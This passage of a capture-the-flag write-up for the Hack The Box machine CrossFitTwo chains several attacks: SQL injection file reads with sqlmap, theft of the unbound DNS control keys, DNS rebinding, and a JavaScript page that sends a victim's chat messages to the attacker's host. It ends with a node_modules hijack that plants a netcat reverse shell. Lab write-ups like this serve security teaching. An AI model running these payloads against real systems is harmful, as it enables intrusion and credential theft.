ARCHIVE | | Aria | | AUDIT_NULL | | auth_0x0100 | | binlog | | BLACKHOLE | | cleartext_plugin_server | | CLIENT_STATISTICS | | CSV | | daemon_example | | debug_key_management | | ed25519 | | EXAMPLE | | example_key_management | | FEDERATED | | FEDERATED | | FEEDBACK | | file_key_management | | GEOMETRY_COLUMNS | | handlersocket | | INDEX_STATISTICS | | inet6 | | inet6_aton | | inet6_ntoa | | inet_aton | | inet_ntoa | | InnoDB | | INNODB_BUFFER_PAGE | | INNODB_BUFFER_PAGE_LRU | | INNODB_BUFFER_POOL_STATS | | INNODB_CMP | | INNODB_CMPMEM | | INNODB_CMPMEM_RESET | | INNODB_CMP_PER_INDEX | | INNODB_CMP_PER_INDEX_RESET | | INNODB_CMP_RESET | | INNODB_FT_BEING_DELETED | | INNODB_FT_CONFIG | | INNODB_FT_DEFAULT_STOPWORD | | INNODB_FT_DELETED | | INNODB_FT_INDEX_CACHE | | INNODB_FT_INDEX_TABLE | | INNODB_LOCKS | | INNODB_LOCK_WAITS | | INNODB_METRICS | | INNODB_MUTEXES | | INNODB_SYS_COLUMNS | | INNODB_SYS_DATAFILES | | INNODB_SYS_FIELDS | | INNODB_SYS_FOREIGN | | INNODB_SYS_FOREIGN_COLS | | INNODB_SYS_INDEXES | | INNODB_SYS_SEMAPHORE_WAITS | | INNODB_SYS_TABLES | | INNODB_SYS_TABLESPACES | | INNODB_SYS_TABLESTATS | | INNODB_SYS_VIRTUAL | | INNODB_TABLESPACES_ENCRYPTION | | INNODB_TRX | | is_ipv4 | | is_ipv4_compat | | is_ipv4_mapped | | is_ipv6 | | LOCALES | | MEMORY | | METADATA_LOCK_INFO | | MRG_MyISAM | | MyISAM | | MYSQL_JSON | | mysql_native_password | | mysql_old_password | | partition | | PERFORMANCE_SCHEMA | | qa_auth_interface | | qa_auth_server | | QUERY_CACHE_INFO | | QUERY_RESPONSE_TIME | | QUERY_RESPONSE_TIME_AUDIT | | S3 | | SEQUENCE | | SERVER_AUDIT | | simple_parser | | simple_password_check | | SPATIAL_REF_SYS | | SPHINX | | SPIDER | | SPIDER_ALLOC_MEM | | SPIDER_WRAPPER_PROTOCOLS | | SQL_ERROR_LOG | | SQL_SEQUENCE | | TABLE_STATISTICS | | test_plugin_server | | TEST_SQL_DISCOVERY | | THREAD_POOL_GROUPS | | THREAD_POOL_QUEUES | | THREAD_POOL_STATS | | THREAD_POOL_WAITS | | three_attempts | | two_questions | | unix_socket | | UNUSABLE | | USER_STATISTICS | | user_variables | | wsrep | | WSREP_MEMBERSHIP | | WSREP_STATUS | +-------------------------------+ ``` By enumerating the DB we found another table, ```employees```, Let's dump data from this table: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $sqlmap -u http://localhost:5000/inject?param=1 --dump -D employees -T employees Database: employees Table: employees [4 entries] +-------------------------------+ | email | +-------------------------------+ | [email protected] | | [email protected] | | [email protected] | | [email protected] | +-------------------------------+ ``` Let's check if we have privileges: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ sqlmap -u http://localhost:5000/inject?param=1 --privileges ... [03:35:15] [INFO] fetching database users privileges database management system users privileges: [*] 'crossfit_user'@'localhost' [1]: privilege: FILE ``` Great, We have privilege to read files. Let's try to read ```/etc/passwd```: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ sqlmap -u http://localhost:5000/inject?param=1 --file-read=/var/www/html/index.php --batch ... [03:37:55] [INFO] fetching file: '/etc/passwd' do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y [03:37:55] [INFO] the local file '/home/evyatar/.local/share/sqlmap/output/localhost/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (3949 B) files saved to [1]: [*] /home/evyatar/.local/share/sqlmap/output/localhost/files/_etc_passwd (same file) ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ cat /home/evyatar/.local/share/sqlmap/output/localhost/files/_etc_passwd root:*:0:0:Charlie &:/root:/bin/ksh daemon:*:1:1:The devil himself:/root:/sbin/nologin operator:*:2:5:System &:/operator:/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin build:*:21:21:base and xenocara build:/var/empty:/bin/ksh sshd:*:27:27:sshd privsep:/var/empty:/sbin/nologin _portmap:*:28:28:portmap:/var/empty:/sbin/nologin _identd:*:29:29:identd:/var/empty:/sbin/nologin _rstatd:*:30:30:rpc.rstatd:/var/empty:/sbin/nologin _rusersd:*:32:32:rpc.rusersd:/var/empty:/sbin/nologin _fingerd:*:33:33:fingerd:/var/empty:/sbin/nologin _x11:*:35:35:X Server:/var/empty:/sbin/nologin _unwind:*:48:48:Unwind Daemon:/var/empty:/sbin/nologin _switchd:*:49:49:Switch Daemon:/var/empty:/sbin/nologin _traceroute:*:50:50:traceroute privdrop user:/var/empty:/sbin/nologin _ping:*:51:51:ping privdrop user:/var/empty:/sbin/nologin _unbound:*:53:53:Unbound Daemon:/var/unbound:/sbin/nologin _dpb:*:54:54:dpb privsep:/var/empty:/sbin/nologin _pbuild:*:55:55:dpb build user:/nonexistent:/sbin/nologin _pfetch:*:56:56:dpb fetch user:/nonexistent:/sbin/nologin _pkgfetch:*:57:57:pkg fetch user:/nonexistent:/sbin/nologin _pkguntar:*:58:58:pkg untar user:/nonexistent:/sbin/nologin _spamd:*:62:62:Spam Daemon:/var/empty:/sbin/nologin www:*:67:67:HTTP Server:/var/www:/sbin/nologin _isakmpd:*:68:68:isakmpd privsep:/var/empty:/sbin/nologin _rpki-client:*:70:70:rpki-client user:/nonexistent:/sbin/nologin _syslogd:*:73:73:Syslog Daemon:/var/empty:/sbin/nologin _pflogd:*:74:74:pflogd privsep:/var/empty:/sbin/nologin _bgpd:*:75:75:BGP Daemon:/var/empty:/sbin/nologin _tcpdump:*:76:76:tcpdump privsep:/var/empty:/sbin/nologin _dhcp:*:77:77:DHCP programs:/var/empty:/sbin/nologin _mopd:*:78:78:MOP Daemon:/var/empty:/sbin/nologin _tftpd:*:79:79:TFTP Daemon:/var/empty:/sbin/nologin _rbootd:*:80:80:rbootd Daemon:/var/empty:/sbin/nologin _ppp:*:82:82:PPP utilities:/var/empty:/sbin/nologin _ntp:*:83:83:NTP Daemon:/var/empty:/sbin/nologin _ftp:*:84:84:FTP Daemon:/var/empty:/sbin/nologin _ospfd:*:85:85:OSPF Daemon:/var/empty:/sbin/nologin _hostapd:*:86:86:HostAP Daemon:/var/empty:/sbin/nologin _dvmrpd:*:87:87:DVMRP Daemon:/var/empty:/sbin/nologin _ripd:*:88:88:RIP Daemon:/var/empty:/sbin/nologin _relayd:*:89:89:Relay Daemon:/var/empty:/sbin/nologin _ospf6d:*:90:90:OSPF6 Daemon:/var/empty:/sbin/nologin _snmpd:*:91:91:SNMP Daemon:/var/empty:/sbin/nologin _ypldap:*:93:93:YP to LDAP Daemon:/var/empty:/sbin/nologin _rad:*:94:94:IPv6 Router Advertisement Daemon:/var/empty:/sbin/nologin _smtpd:*:95:95:SMTP Daemon:/var/empty:/sbin/nologin _rwalld:*:96:96:rpc.rwalld:/var/empty:/sbin/nologin _nsd:*:97:97:NSD Daemon:/var/empty:/sbin/nologin _ldpd:*:98:98:LDP Daemon:/var/empty:/sbin/nologin _sndio:*:99:99:sndio privsep:/var/empty:/sbin/nologin _ldapd:*:100:100:LDAP Daemon:/var/empty:/sbin/nologin _iked:*:101:101:IKEv2 Daemon:/var/empty:/sbin/nologin _iscsid:*:102:102:iSCSI Daemon:/var/empty:/sbin/nologin _smtpq:*:103:103:SMTP Daemon:/var/empty:/sbin/nologin _file:*:104:104:file privsep:/var/empty:/sbin/nologin _radiusd:*:105:105:RADIUS Daemon:/var/empty:/sbin/nologin _eigrpd:*:106:106:EIGRP Daemon:/var/empty:/sbin/nologin _vmd:*:107:107:VM Daemon:/var/empty:/sbin/nologin _tftp_proxy:*:108:108:tftp proxy daemon:/nonexistent:/sbin/nologin _ftp_proxy:*:109:109:ftp proxy daemon:/nonexistent:/sbin/nologin _sndiop:*:110:110:sndio privileged user:/var/empty:/sbin/nologin _syspatch:*:112:112:syspatch unprivileged user:/var/empty:/sbin/nologin _slaacd:*:115:115:SLAAC Daemon:/var/empty:/sbin/nologin nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin _mysql:*:502:502:MySQL Account:/nonexistent:/sbin/nologin lucille:*:1002:1002:,,,:/home/lucille:/bin/csh node:*:1003:1003::/home/node:/bin/ksh _dbus:*:572:572:dbus user:/nonexistent:/sbin/nologin _redis:*:686:686:redis account:/var/redis:/sbin/nologin david:*:1004:1004:,,,:/home/david:/bin/csh john:*:1005:1005::/home/john:/bin/csh ftp:*:1006:1006:FTP:/home/ftp:/sbin/nologin ``` From ```nmap``` scan we found port 8953 which is [unbound_dns](https://calomel.org/unbound_dns.html), The configuration file of this service located on ```/usr/local/etc/unbound/unbound.conf```, Let's try to read it: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ sqlmap -u http://localhost:5000/inject?param=1 --file-read=/var/unbound/etc/unbound.conf --batch ... [16:31:43] [INFO] fetching file: '/var/unbound/etc/unbound.conf' do you want confirmation that the remote file '/var/unbound/etc/unbound.conf' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y [16:31:44] [INFO] the local file '/home/evyatar/.local/share/sqlmap/output/localhost/files/_var_unbound_etc_unbound.conf' and the remote file '/var/unbound/etc/unbound.conf' have the same size (777 B) ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ cat /home/evyatar/.local/share/sqlmap/output/localhost/files/_var_unbound_etc_unbound.conf server: interface: 127.0.0.1 interface: ::1 access-control: 0.0.0.0/0 refuse access-control: 127.0.0.0/8 allow access-control: ::0/0 refuse access-control: ::1 allow hide-identity: yes hide-version: yes msg-cache-size: 0 rrset-cache-size: 0 cache-max-ttl: 0 cache-max-negative-ttl: 0 auto-trust-anchor-file: "/var/unbound/db/root.key" val-log-level: 2 aggressive-nsec: yes include: "/var/unbound/etc/conf.d/local_zones.conf" remote-control: control-enable: yes control-interface: 0.0.0.0 control-use-cert: yes server-key-file: "/var/unbound/etc/tls/unbound_server.key" server-cert-file: "/var/unbound/etc/tls/unbound_server.pem" control-key-file: "/var/unbound/etc/tls/unbound_control.key" control-cert-file: "/var/unbound/etc/tls/unbound_control.pem" ``` Let's get all certificates files ```/var/unbound/etc/tls/unbound_server.key```, ```/var/unbound/etc/tls/unbound_server.pem```, ```/var/unbound/etc/tls/unbound_control.key```,```/var/unbound/etc/tls/unbound_control.pem``` and put them on ```/hackthebox/CrossFitTwo/unbound_files```. Let's change ```unbound.conf``` file to the following: ```console remote-control: control-enable: yes control-interface: 0.0.0.0 control-use-cert: yes server-key-file: "/hackthebox/CrossFitTwo/unbound_files/unbound_server.key" server-cert-file: "/hackthebox/CrossFitTwo/unbound_files/unbound_server.pem" control-key-file: "/hackthebox/CrossFitTwo/unbound_files/unbound_control.key" control-cert-file: "/hackthebox/CrossFitTwo/unbound_files/unbound_control.pem" ``` ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/unbound_files] └──╼ $ ls unbound.conf unbound_control.key unbound_control.pem unbound_server.pem ``` Let's read also the file ```/etc/relayd.conf``` which is relay daemon configuration file: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/unbound_files] └──╼ $ cat relayd.conf table<1>{127.0.0.1} table<2>{127.0.0.1} table<3>{127.0.0.1} table<4>{127.0.0.1} http protocol web{ pass request quick header "Host" value "*crossfit-club.htb" forward to <3> pass request quick header "Host" value "*employees.crossfit.htb" forward to <2> match request path "/*" forward to <1> match request path "/ws*" forward to <4> http websockets } table<5>{127.0.0.1} table<6>{127.0.0.1 127.0.0.2 127.0.0.3 127.0.0.4} http protocol portal{ pass request quick path "/" forward to <5> pass request quick path "/index.html" forward to <5> pass request quick path "/home" forward to <5> pass request quick path "/login" forward to <5> pass request quick path "/chat" forward to <5> pass request quick path "/js/*" forward to <5> pass request quick path "/css/*" forward to <5> pass request quick path "/fonts/*" forward to <5> pass request quick path "/images/*" forward to <5> pass request quick path "/favicon.ico" forward to <5> pass forward to <6> http websockets } relay web{ listen on "0.0.0.0" port 80 protocol web forward to <1> port 8000 forward to <2> port 8001 forward to <3> port 9999 forward to <4> port 4419 } relay portal{ listen on 127.0.0.1 port 9999 protocol portal forward to <5> port 8002 forward to <6> port 5000 mode source-hash } ``` Now, To communicate with unbound server we need to use [unbound-control](https://manpages.ubuntu.com/manpages/xenial/man8/unbound-control.8.html) as follow: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/unbound_files] └──╼ $ unbound-control -c unbound.conf -s 10.10.10.232 status version: 1.11.0 verbosity: 1 threads: 1 modules: 2 [ validator iterator ] uptime: 528 seconds options: control(ssl) unbound (pid 71735) is running... ``` **DNS rebinding attack:** So if we have access to unbound service we can make DNS rebinding attack, **I recommend seeing the following video from DEF CON 27 Conference [https://www.youtube.com/watch?v=y9-0lICNjOQ](https://www.youtube.com/watch?v=y9-0lICNjOQ) to understand how DNS rebinding attack works!** So, first, we need to use ```unbound-control``` to add a fake subdomain, pointing back to our local machine. Next, We need to run [FakeDNS](https://github.com/Crypt0s/FakeDns) (Or [dnschef](https://github.com/iphelix/dnschef)) to catch the request from the box, and point it to our host, create a listener to see what it is doing. Let's add fake subdomain using ```unbound-control```: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/unbound_files] └──╼ $ unbound-control -c unbound.conf -s 10.10.10.232@8953 forward_add +i xemployees.crossfit.htb. 10.10.14.14@9953 ``` So we use the ```unbound.conf``` like before, the server is ```10.10.10.232@8953``` where 8953 is unbound port listener, Add fake subdomain ```xemployees.crossfit.htb``` (We can use any prefix according ```pass request quick header "Host" value "*employees.crossfit.htb" forward to <2>``` from ```relayd.conf```) and point it to our host on port 9953. Run ```FakeDNS``` with the following configuration: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/unbound_files] └──╼ $ cat FakeDns/dns.conf A xemployees.crossfit.htb.* 127.0.0.1 2%10.10.14.14 ``` Means that [A DNS record](https://www.cloudflare.com/learning/dns/dns-records/) for ```xemployees.crossfit.htb.``` evaluates to 127.0.0.1 for the first 2 tries, On the 3th request from a client which has already made 2 requests, FakeDNS starts serving out the second ip ```10.10.14.14``` which is our host. We need to add ```xemployees.crossfit.htb``` to ```/etc/hosts```. To trigger that we need to send ```Forget password``` request with ```[email protected]``` user on the page: ![login.JPG](images/login.JPG) So let's write bash script to do all of this [dns_rebind.sh](scripts/dns_rebind.sh): ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/unbound_files] └──╼ $ cat dns_rebind.sh #!/bin/bash unbound-control -c unbound.conf -s 10.10.10.232@8953 forward_add +i xemployees.crossfit.htb. 10.10.14.14@9953 python3 fakedns.py -c dns.conf -p 9953 --rebind & sleep 3 echo "FakeDNS is running..." curl http://xemployees.crossfit.htb/password-reset.php -XPOST -d '[email protected]' | grep alert while : do sleep 1 done ``` Because we change the IP address to our host - we need also to listen to port 80 to get the requests: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/unbound_files] └──╼ $ sudo php -S 0.0.0.0:80 [sudo] password for user: [Sun Aug 15 03:28:02 2021] PHP 7.4.5 Development Server (http://0.0.0.0:80) started ``` Run the ```dns_rebind.sh``` script and when the attack success we will get the following: ```console Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.232 - - [13/Aug/2021 17:45:18] code 404, message File not found 10.10.10.232 - - [13/Aug/2021 17:45:18] "GET /password-reset.php?token=3a79dc4559a8df1a05f65f9ec677a3465aff23a32a6a3787ec75a95b28fd443a5c4fc1c99341d6125aa16d4493deb56de97b9055217332c2b545810412b9f586 HTTP/1.1" 404 - ``` If we are trying to use this reset password token we got: ![disabled.JPG](images/disabled.JPG) And It's ok, The password reset isn't what we need to get access to - We need to make [CSRF attack](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSRF%20Injection/README.md) David's user. So by enumerating the JS files we can see the following file ```app-XXXXXXX.js``` which contains the following: ```javascript ... created() { let e = this; xe = Ce.a.connect("http://crossfit-club.htb", { transports: ["polling"] }), window.addEventListener("beforeunload", (function(t) { xe.emit("remove_user", { uid: e.currentUserId }) })), xe.on("disconnect", e => { this.$router.replace("/login") }), xe.emit("user_join", { username: localStorage.getItem("user") }), xe.on("participants", e => { e && e.length && (this.rooms[0].users = e, this.renderUsers()) }), xe.on("new_user", e => { e.username === localStorage.getItem("user") && (this.currentUserId = e._id, console.log(this.currentUserId)) }), xe.on("recv_global", e => { this.addMessage(e) }), xe.on("private_recv", e => { this.addMessage(e) }) }, data() { return { rooms: [{ roomId: "global", roomName: "Global Chat", avatar: "/images/cross.png", users: [], new: !1, unreadCount: 0, seen: !0 }], messages: [], currentUserId: 1234, loadingRooms: !1, messagesLoaded: !0, allMessages: [], selectedRoom: null, theme: "dark" } }, methods: { getRoom: function(e) { for (var t = 0; t < this.rooms.length; t++) if (this.rooms[t].roomId === e) return t }, addMessage: function(e) { const t = new Date; e.date = t.toISOString().slice(0, 10), e.timestamp = t.toLocaleTimeString(), e.seen = !0, this.allMessages.push(e), this.messages = this.allMessages.filter(e => e.roomId === this.selectedRoom); const a = this.getRoom(e.roomId), s = { ...e }; delete s["_id"], this.rooms[a].lastMessage = s, this.rooms[a].lastMessage.seen = !1, this.rooms[a].lastMessage.new = !0 }, fetchMessages: function({ room: e, options: t }) { this.messagesLoaded = !1, this.selectedRoom = e.roomId, setTimeout(() => { this.messages = this.allMessages.filter(e => e.roomId === this.selectedRoom), this.messagesLoaded = !0 }, 1e3) }, getCurrentUser: function() { const e = this.rooms[0].users; for (var t = 0; t < e.length; t++) if (e[t]._id === this.currentUserId) return e[t] }, renderUsers: function() { this.rooms = [this.rooms[0]]; const e = this.rooms[0].users; for (var t = 0; t < e.length; t++) { if (e[t]._id === this.currentUserId) continue; const a = { roomId: e[t]._id, avatar: `https://avatars.dicebear.com/4.5/api/gridy/${e[t].username}.svg`, new: !1, unreadCount: 0, roomName: e[t].username, users: [] }; a.users.push(this.getCurrentUser()), a.users.push(e[t]), this.rooms.push(a) } }, sendGlobal: function(e, t) { const a = { sender_id: xe.id, content: e, roomId: t }; xe.emit("global_message", a) }, sendPrivate: function(e, t) { const a = { sender_id: xe.id, content: e, roomId: t }; xe.emit("private_message", a) }, sendMessage: function({ content: e, roomId: t, file: a, replyMessage: s }) { "global" === t ? this.sendGlobal(e, t) : this.sendPrivate(e, t) } } ... ``` Which is a chat platform based on WebSocket. We can return to David's user HTML page with javascript that communicates with this WebSocket chat as a client, when the message is received we will send the content to our web server. So to do that, first we need to return the following HTML page from [password-reset.php](scripts/password-reset.php) ([socket.io download](https://www.cdnpkg.com/socket.io/file/socket.io.min.js/)): ```javascript ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/unbound_files] └──╼ $ cat php_Server/password-reset.php <?php $request_headers = $_SERVER; file_put_contents('request_headers.out',print_r($request_headers, true)); echo '<html> <script src="http://10.10.14.14:8000/socket.io.min.js"></script> <script> var socket=io.connect("http://crossfit-club.htb"); socket.emit("user_join", { "username" : "David"}); socket.on("recv_global", (data) => { var xhr = new XMLHttpRequest(); xhr.open("GET", "http://10.10.14.14:8000/recv_global/" + JSON.stringify(data), true); xhr.send(); }); socket.on("participants", (data) => { var xhr = new XMLHttpRequest(); xhr.open("GET", "http://10.10.14.14:8000/participants/" + JSON.stringify(data), true); xhr.send(); }); socket.on("new_user", (data) => { var xhr = new XMLHttpRequest(); xhr.open("GET", "http://10.10.14.14:8000/new_user/" + JSON.stringify(data), true); xhr.send(); }); socket.on("private_recv", (data) => { var xhr = new XMLHttpRequest(); xhr.open("GET", "http://10.10.14.14:8000/private_recv/" + JSON.stringify(data), true); xhr.send(); }); </script> </html>' ?> ``` Meaning that when David hits the page ```password-reset.php``` (Using DNS rebind attack) page we will return him the HTML above that communicate with chat WebSocket and send us the received messages on port 8000. Let's run the DNS rebinding again: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/unbound_files] └──╼ $ bash rebindPass.sh ok FakeDNS is running... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 100 4491 <div class="alert alert-success alert-dismissible fade show" role="alert">Reset link sent, please check your email.<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button></div> ``` Now, After few minutes we will see on our Web server (port 80) the following: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/] └──╼ $ sudo php -S 0.0.0.0:80 [sudo] password for user: [Sat Aug 14 21:00:54 2021] PHP 7.4.5 Development Server (http://0.0.0.0:80) started [Sat Aug 14 21:02:19 2021] 10.10.10.232:7703 Accepted [Sat Aug 14 21:02:19 2021] 10.10.10.232:7703 [200]: GET /password-reset.php?token=66c8f85d4e7e5d924329f65364c4c02872b8c095466fd1e49c3c5f1838cca03157573f6b37bcf0f1b3297d7be19357eb05c0e1bd7ac2e3ee2d5554e3825a3c37 ``` And on port 8000 web server: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/] └──╼ $ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.10.232 - - [14/Aug/2021 14:02:20] "GET /socket.io.min.js HTTP/1.1" 200 - 10.10.10.232 - - [14/Aug/2021 14:02:21] code 404, message File not found 10.10.10.232 - - [14/Aug/2021 14:02:21] "GET /new_user/%7B%22_id%22:1,%22username%22:%22Admin%22,%22status%22:%7B%22state%22:%22online%22%7D%7D HTTP/1.1" 404 - 10.10.10.232 - - [14/Aug/2021 14:02:21] code 404, message File not found 10.10.10.232 - - [14/Aug/2021 14:02:21] "GET /participants/[%7B%22_id%22:11,%22username%22:%22Lucille%22,%22status%22:%7B%22state%22:%22online%22%7D%7D,%7B%22_id%22:12,%22username%22:%22Boris%22,%22status%22:%7B%22state%22:%22online%22%7D%7D,%7B%22_id%22:2,%22username%22:%22John%22,%22status%22:%7B%22state%22:%22online%22%7D%7D,%7B%22_id%22:13,%22username%22:%22Pepe%22,%22status%22:%7B%22state%22:%22online%22%7D%7D,%7B%22_id%22:14,%22username%22:%22Polarbear%22,%22status%22:%7B%22state%22:%22online%22%7D%7D,%7B%22_id%22:15,%22username%22:%22Minato%22,%22status%22:%7B%22state%22:%22online%22%7D%7D,%7B%22_id%22:1,%22username%22:%22Admin%22,%22status%22:%7B%22state%22:%22online%22%7D%7D] HTTP/1.1" 404 - 10.10.10.232 - - [14/Aug/2021 14:03:05] code 404, message File not found 10.10.10.232 - - [14/Aug/2021 14:03:05] "GET /private_recv/%7B%22sender_id%22:2,%22content%22:%22Hello%20David,%20I've%20added%20a%20user%20account%20for%20you%20with%20the%20password%20%60NWBFcSe3ws4VDhTB%60.%22,%22roomId%22:2,%22_id%22:1854%7D HTTP/1.1" 404 - 10.10.10.232 - - [14/Aug/2021 14:03:05] code 404, message File not found 10.10.10.232 - - [14/Aug/2021 14:03:05] "GET /private_recv/%7B%22sender_id%22:14,%22content%22:%22I%20hate%20my%20favorite%20web%20series%20get%20cancelled%20and%20shitty%20ones%20stick%20around.%22,%22roomId%22:14,%22_id%22:1855%7D HTTP/1.1" 404 - 10.10.10.232 - - [14/Aug/2021 14:03:05] code 404, message File not found 10.10.10.232 - - [14/Aug/2021 14:03:05] "GET /recv_global/%7B%22sender_id%22:15,%22content%22:%22Do%20you%20like%20rap%20music?%22,%22roomId%22:%22global%22,%22_id%22:1856,%22username%22:%22Minato%22} HTTP/1.1" 404 - 10.10.10.232 - - [14/Aug/2021 14:03:57] code 404, message File not found 10.10.10.232 - - [14/Aug/2021 14:03:57] "GET /private_recv/%7B%22sender_id%22:15,%22content%22:%22Do%20you%20like%20rap%20music?%22,%22roomId%22:15,%22_id%22:1857} HTTP/1.1" 404 - 10.10.10.232 - - [14/Aug/2021 14:03:57] code 404, message File not found 10.10.10.232 - - [14/Aug/2021 14:03:57] "GET /recv_global/%7B%22sender_id%22:12,%22content%22:%22Do%20you%20like%20dogs%20by%20the%20way?%20We%20used%20to%20have%20a%20husky%20ourselves%22,%22roomId%22:%22global%22,%22_id%22:1858,%22username%22:%22Boris%22} HTTP/1.1" 404 - 10.10.10.232 - - [14/Aug/2021 14:04:17] code 404, message File not found 10.10.10.232 - - [14/Aug/2021 14:04:17] "GET /private_recv/%7B%22sender_id%22:2,%22content%22:%22Hello%20David,%20I've%20added%20a%20user%20account%20for%20you%20with%20the%20password%20%60NWBFcSe3ws4VDhTB%60.%22,%22roomId%22:2,%22_id%22:1859%7D HTTP/1.1" 404 - 10.10.10.232 - - [14/Aug/2021 14:04:48] code 404, message File not found 10.10.10.232 - - [14/Aug/2021 14:04:48] "GET /recv_global/%7B%22sender_id%22:11,%22content%22:%22Do%20you%20like%20dogs%20by%20the%20way?%20We%20used%20to%20have%20a%20husky%20ourselves%22,%22roomId%22:%22global%22,%22_id%22:1860,%22username%22:%22Lucille%22} HTTP/1.1" 404 - 10.10.10.232 - - [14/Aug/2021 14:04:49] code 404, message File not found 10.10.10.232 - - [14/Aug/2021 14:04:49] "GET /private_recv/%7B%22sender_id%22:14,%22content%22:%22I%20hate%20my%20favorite%20web%20series%20get%20cancelled%20and%20shitty%20ones%20stick%20around.%22,%22roomId%22:14,%22_id%22:1861%7D HTTP/1.1" 404 - ``` So as we can see we got the following chat meeesage (After decode): ```json [{"_id":11,"username":"Lucille","status":{"state":"online"}},{"_id":12,"username":"Boris","status":{"state":"online"}},{"_id":2,"username":"John","status":{"state":"online"}},{"_id":13,"username":"Pepe","status":{"state":"online"}},{"_id":14,"username":"Polarbear","status":{"state":"online"}},{"_id":15,"username":"Minato","status":{"state":"online"}},{"_id":1,"username":"Admin","status":{"state":"online"}}] {"sender_id":14,"content":"I hate my favorite web series get cancelled and shitty ones stick around.","roomId":14,"_id":1855} {"sender_id":2,"content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.","roomId":2,"_id":1854} ``` And we can see the David's password: ```NWBFcSe3ws4VDhTB```. Let's try to use this password using SSH: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/] └──╼ $ ssh [email protected] The authenticity of host 'crossfit.htb (10.10.10.232)' can't be established. ECDSA key fingerprint is SHA256:lt8/b60gRtxXniKrvO7xT0ktvC1+Hy5RBfVWMF0pSWc. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'crossfit.htb,10.10.10.232' (ECDSA) to the list of known hosts. [email protected]'s password: OpenBSD 6.8 (GENERIC.MP) #4: Mon Jan 11 10:35:56 MST 2021 Welcome to OpenBSD: The proactively secure Unix-like operating system. Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well. Not Hercules could have knock'd out his brains, for he had none. -- Shakespeare crossfit2:david {1} whoami david crossfit2:david {2} ls user.txt crossfit2:david {3} cat user.txt 652b4016ff88d580b502ff1f43fb3ade ``` And finally we got the user flag ```652b4016ff88d580b502ff1f43fb3ade```. ### User 2 By running ```id``` / ```groups``` we can see that we are on ```sysadmins``` group: ```console crossfit2:statbot {38} groups david sysadmins crossfit2:statbot {39} id uid=1004(david) gid=1004(david) groups=1004(david), 1003(sysadmins) ``` Let's find files owned by our group: ```console crossfit2:statbot {36} find / -group sysadmins -ls ... 1244170 4 drwxrwxr-x 3 root sysadmins 512 Feb 3 2021 /opt/sysadmin ``` On that path we can find file ```statbot.js``` located on ```/opt/sysadmin/server/statbot``` which contains: ```javascript crossfit2:statbot {50} cat statbot.js const WebSocket = require('ws'); const fs = require('fs'); const logger = require('log-to-file'); const ws = new WebSocket("ws://gym.crossfit.htb/ws/"); function log(status, connect) { var message; if(status) { message = `Bot is alive`; } else { if(connect) { message = `Bot is down (failed to connect)`; } else { message = `Bot is down (failed to receive)`; } } logger(message, '/tmp/chatbot.log'); } ws.on('error', function err() { ws.close(); log(false, true); }) ws.on('message', function message(data) { data = JSON.parse(data); try { if(data.status === "200") { ws.close() log(true, false); } } catch(err) { ws.close() log(false, false); } }); ``` [Loading from node_modules folders](https://nodejs.org/api/modules.html#modules_loading_from_node_modules_folders): ![node_modules.JPG](images/node_modules.JPG) According to that information, we know that we can create a new file on a specific location which it loads that the script runs (library injection vulnerability). Let's create new file ```index.js``` with [OpenBSD Reverse Shell](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-openbsd) as follow: ```javascript require("child_process").execSync('rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 4242 >/tmp/f'); ``` By running ```module.paths``` on ```node``` console we can see the following paths: ```console crossfit2:sysadmin {10} node Welcome to Node.js v12.16.1. Type ".help" for more information. > module.paths [ '/opt/sysadmin/repl/node_modules', '/opt/sysadmin/node_modules', '/opt/node_modules', '/node_modules', '/home/david/.node_modules', '/home/david/.node_libraries', '/opt/lib/node', '/opt/lib/node_modules' ] > ``` Because we have ```write``` permission on ```/opt/sysadmin/``` we can locate the reverse shell file on ```/opt/sysadmin/node_modules``` directory: ```console crossfit2:node_modules {74} pwd /opt/sysadmin/node_modules crossfit2:node_modules {74} ls index.js ``` Listen to port 4242 using ```nc```, Wait 1 min and we will get a reverse shell as ```john``` user: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo/] └──╼ $ nc -lvp 4242 listening on [any] 4242 ... 